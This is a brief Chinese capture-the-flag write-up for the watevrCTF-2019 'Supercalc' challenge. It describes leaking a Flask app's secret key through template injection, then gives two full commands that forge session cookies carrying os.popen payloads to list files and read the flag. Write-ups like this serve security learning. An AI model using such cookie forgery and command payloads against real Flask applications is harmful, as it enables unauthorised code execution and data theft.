[watevrCTF-2019]Supercalc
0x01
奇怪的计算器。随便算算。
尝试报错
后端是用python写的。
然后看了wp才知道可以flask注入
看到config。同时,网页上有session。经典flasksession
解密
记录了所有code运行的历史记录
而且config里面,我们拿到了secret key。
这样就可以进行session伪造了
python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"ls\").read()'}]}"
修改网页的session,然后刷新页面即可。
得到flag.txt
python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"
重复以上步骤,就可以获取flag